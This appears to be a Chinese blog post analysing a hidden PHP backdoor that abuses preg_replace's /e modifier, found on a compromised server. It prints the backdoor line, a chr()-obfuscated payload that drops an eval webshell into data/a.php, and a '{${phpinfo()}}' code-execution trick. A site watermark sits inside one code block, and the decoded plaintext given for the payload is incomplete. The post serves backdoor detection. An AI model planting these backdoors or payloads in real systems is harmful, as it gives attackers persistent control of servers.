php后門有很多,包子也見多了和玩多了,但是在一次幫助朋友檢查服務器的時候,竟然發現這樣的惡意代碼.

事情是這樣的,朋友的網站的利用各種查找后門的工具都沒有發現php木馬,老是找不到,小黑的伎倆很高級,每次使用完畢總是把后門刪掉,但是每次都能繼續進來,總是找不到從哪進來的,這個著實讓人蛋疼.

后來,終于在日志中發現一絲蛛絲馬跡,通過我的分析,我發現一個IP總是很奇怪的POST數據到某個文件,然后一段時間后,此IP就訪問一個莫名奇妙文件,名字很顯眼明顯不是正常系統文件,而是PHP后門,但是很快使用完畢后門就被刪除了,哈哈,遇到小黑蠻細心的,然后通過分析發現,小黑的訪問的文件發現代碼:

@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");

如果你看到這個代碼是不是有的也沒什么問題,但是,這個就是小黑的掩藏的惡意代碼和后門,隱蔽吧,基本上任何查殺軟件都查殺不到.

preg_replace函數原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特別說明:

/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼(在適當的逆向引用替換完之后)。提示：要確保replacement 構成一個合法的 PHP 代碼字符串,否則 PHP 會在報告在包含 preg_replace() 的行中出現語法解析錯誤.

上面的代碼是POST接受數據要測試,比較麻煩,如果換成GET獲取數據的話。。。

舉例,代碼如下:echo preg_replace("/test/e",$_GET["h"],"jutst test");

如果我們提交?h=phpinfo(),phpinfo()將會被執行(使用/e修飾符,preg_replace會將 replacement 參數當作 PHP代碼執行).

如果我們要POST的話,我們測試提交下面的代碼會怎么樣呢?代碼如下:

1. h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr 
2.  
3. (110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr 
4.  
5. (112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr 
6.  
7. (104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr 
8. //開源代碼Vevb.com 
9. (83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)) 

密文對應的明文是如下代碼:fputs(fopen(data/a.php,w),);

執行的結果是在/data/目錄下生成一個一句話木馬文件 a.php,這個就恐怖了吧,再來一個有難度的例子,代碼如下:

1. <?php 
2. function test($str)  
3. {  
4. }  
5. echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]);  
6. ?> 

提交 ?h=[php]phpinfo()[/php],phpinfo()會被執行嗎?

肯定不會,因為經過正則匹配后,replacement 參數變為'test("phpinfo")',此時phpinfo僅是被當做一個字符串參數了.

有沒有辦法讓它執行呢?當然有,在這里我們如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就會被執行,為什么呢?

在php中,雙引號里面如果包含有變量,php解釋器會將其替換為變量解釋后的結果;單引號中的變量不會被處理.

注意:雙引號中的函數不會被執行和替換.

在這里我們需要通過{${}}構造出了一個特殊的變量,'test("{${phpinfo()}}")',達到讓函數被執行的效果.

(${phpinfo()}會被解釋執行)。

可以先做如下測試:echo "{${phpinfo()}}"; phpinfo會被成功執行了,所以,各位查找后門的時候注意查找下,說了那么多,也了解了,以下我給的代碼:

1 @preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");

看似很正常的代碼,其實就是一個極度危險的代碼,隱藏頗深啊.